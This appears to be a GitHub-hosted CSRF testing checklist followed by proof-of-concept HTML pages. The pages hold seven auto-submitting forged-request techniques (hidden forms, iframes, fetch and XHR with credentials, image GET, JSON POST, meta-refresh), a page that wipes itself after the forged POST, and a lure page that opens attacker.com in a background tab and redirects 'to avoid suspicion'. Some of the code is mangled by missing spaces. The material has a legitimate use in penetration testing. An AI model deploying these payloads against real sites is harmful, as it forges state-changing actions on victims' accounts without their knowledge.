You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Access-Control-Allow-Methods includes the method in use
Do these methods trigger any state-changing operations?
π Phase 5: Response Handling
Response status: 200, 302, or 403?
Is action completed (e.g., email/password changed)?
Use side effects or indicators (e.g., onload/onerror) to confirm success.
Verify with a second account if needed.
π Phase 6: Defense Mechanism Summary
Defense Mechanism
Present?
Notes
CSRF Token
[ ]
Must be validated server-side
Origin/Referer Check
[ ]
Strong if enforced
SameSite Cookie
[ ]
Recommended: Strict or Lax
X-Frame-Options
[ ]
Prevents iframe CSRF
CORS Restrictions
[ ]
Blocks JS-based CSRF (fetch/XHR)
CSP
[ ]
Can limit attack surface
Various Technique POCs - CSRF
<!DOCTYPE html><html><head><title>CSRF Test Suite</title><style>body { font-family: sans-serif; background:#fafafa; padding:20px; }
section { margin-bottom:2em; border:1px solid #ccc; padding:10px; background:#fff; }
iframe { display: none; }
code { background:#eee; padding:2px6px; border-radius:4px; }
</style></head><body><h1>π₯ CSRF Test Suite</h1><p>Target: <code>https://example.com/endpoint</code></p><!-- β Top-level Form POST --><section><h2>β 1. Top-level form POST (auto-submit)</h2><formid="form1" action="https://example.com/endpoint?r=0.111" method="POST"><inputtype="hidden" name="key1" value="value1" /><inputtype="hidden" name="key2" value="value2" /></form><script>document.getElementById("form1").submit();</script></section><!-- β Iframe-based form POST --><section><h2>β 2. Form POST in hidden iframe</h2><iframename="csrfFrame"></iframe><formid="form2" action="https://example.com/endpoint?r=0.222" method="POST" target="csrfFrame"><inputtype="hidden" name="key1" value="value1" /><inputtype="hidden" name="key2" value="value2" /></form><script>document.getElementById("form2").submit();</script></section><!-- β JavaScript fetch --><section><h2>β 3. JavaScript fetch()</h2><script>fetch("https://example.com/endpoint?r=0.333",{method: "POST",headers: {"Content-Type": "application/x-www-form-urlencoded"},body: newURLSearchParams({"key1": "value1","key2": "value2"}),credentials: "include"}).then(r=>console.log("Fetch status:",r.status));</script></section><!-- β XMLHttpRequest --><section><h2>β 4. XMLHttpRequest</h2><script>constxhr=newXMLHttpRequest();xhr.open("POST","https://example.com/endpoint?r=0.444");xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.withCredentials=true;xhr.onload=()=>console.log("XHR:",xhr.status);xhr.send("key1=value1&key2=value2");</script></section><!-- β Image-based (GET CSRF) --><section><h2>β 5. Image-based GET CSRF</h2><imgsrc="https://example.com/endpoint?r=0.555&key1=value1&key2=value2" alt="csrf" /></section><!-- β JSON CSRF via fetch --><section><h2>β 6. JSON POST with fetch (common for APIs)</h2><script>fetch("https://example.com/endpoint?r=0.666",{method: "POST",headers: {"Content-Type": "application/json"},credentials: "include",body: JSON.stringify({"key1": "value1","key2": "value2"})}).then(r=>console.log("JSON CSRF:",r.status));</script></section><!-- β Meta Refresh Redirect (optional) --><section><h2>β 7. Meta-refresh redirect to POST form</h2><iframesrcdoc='
<html> <head> <meta http-equiv="refresh" content="0;URL=data:text/html, <form method=POST action=https://example.com/endpoint?r=0.777> <input type=hidden name=key1 value=value1> <input type=hidden name=key2 value=value2> <input type=submit> </form> <script>document.forms[0].submit();</script>"> </head> <body></body> </html>'></iframe></section></body></html>
<!DOCTYPE html><html><body><formid="csrfForm" action="https:/victim.com" method="POST"><inputtype="hidden" name="key1" value="value1" /><inputtype="hidden" name="key2" value="value1" /></form><script>// Step 1: Submit CSRFdocument.getElementById("csrfForm").submit();// Step 2: Clear the page or redirect after a delaysetTimeout(()=>{// Overwrite the page contentswindow.location.replace("about:blank");},200);// enough time for the POST to go out</script></body></html>
<!DOCTYPE html><html><head><title>Redirecting...</title><script>functionlaunchAttack(){// Open CSRF payload in a new background tabconstwin=window.open('https://attacker.com/csrf.html','_blank');// Optional: close it after a delay (give time for form submission)setTimeout(()=>{try{win.close();}catch(e){}},3000);// adjust delay as needed// Optional: redirect main tab to benign content to avoid suspicionsetTimeout(()=>{window.location.href="https://example.com";},1000);}</script></head><bodyonload="launchAttack()"><p>Redirecting...</p></body></html>